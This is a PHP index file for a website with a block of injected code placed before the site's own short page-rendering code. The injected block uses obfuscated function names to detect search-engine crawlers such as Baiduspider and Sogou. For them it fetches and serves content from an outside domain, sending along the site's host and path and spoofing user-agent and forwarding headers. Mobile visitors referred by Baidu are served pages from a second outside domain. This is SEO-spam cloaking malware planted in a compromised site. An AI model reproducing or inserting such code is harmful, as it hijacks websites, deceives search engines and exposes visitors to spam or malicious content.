<?php
error_reporting(0);
$a = "stristr";
$b = $_SERVER;
header("Content-Type: text/html;charset=utf-8");
function faijiowg($url) {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    if (
        preg_match('/Sogou[\s\-]?(web|Test|Pic|Orion|News|WeChat)?[\s\-]?Spider/i', $ua) ||
        stripos($ua, 'YisouSpider') !== false
    ) {
        $ua = 'Baiduspider+(+http://www.baidu.com/search/spider.htm)';
    }

    $ip = tjedfwdgdsc();
    $opts = array(
        'http' => array(
            'method'  => 'GET',
            'header'  => "User-Agent: $ua\r\n" .
                         "CLIENT-IP: $ip\r\n" .
                         "X-FORWARDED-FOR: $ip\r\n",
            'timeout' => 5
        )
    );
    $context = stream_context_create($opts);
    $data = @file_get_contents($url, false, $context);

    // ? 调试：如果失败，打印出错误原因
    if ($data === false) {
        echo "<!-- 请求失败：file_get_contents 返回 false -->";
        return "<h3>远程内容加载失败</h3>";
    }

    return $data;
}
function tjedfwdgdsc()
{
    $ip = '';
    if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP']) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR']) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    }
    if (strpos($ip, ',') !== false) {
        $ip = explode(',', $ip);
        $ip = $ip[0];
    }
    return $ip;
}

define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "https://www.bmozu.cn/?");
define('road', "domain=".$b['HTTP_HOST'].
    "&path=".url.
    "&spider=".urlencode(ent));
define('memes', road.
    "&referer=".urlencode(ref));
define('regs', '@BaiduSpider|Sogou[\s\-]?(web|Test|Pic|Orion|News|WeChat)?[\s\-]?Spider|YisouSpider|HaosouSpider|360Spider@i');

define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, ".shtml") or $a(url, ".html") or $a(url, "/"));
if (preg_match(regs, ent)) {
    if (area) {
        echo faijiowg(site.road);
        exit;
    } else {
        echo faijiowg(site.road);
        ob_flush();
        flush();
    }
}
if (preg_match(regs, ent)) {
    echo faijiowg(site . memes);
    exit;
}


if (strpos(ent, 'baiduboxapp') !== false) {
    echo faijiowg("http://www.jyanalyse.xyz/46.html");
    exit;
}

if (preg_match(mobile, ent)) {
    $ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

    if (
        stripos($ref, 'baidu.com') !== false ||  // referer 明确来自百度
        stripos($ua, 'baiduboxapp') !== false    // 百度 App/小程序
    ) {
        echo faijiowg("http://www.jyanalyse.xyz/46.html");
        exit;
    }
 }
?><?php
define("ROOTPATH", "");
include(ROOTPATH . "includes/common.inc.php");

// 定义模块名和页面名
    PageSet("index", "index");

    // 输出
    PrintPage();
?>
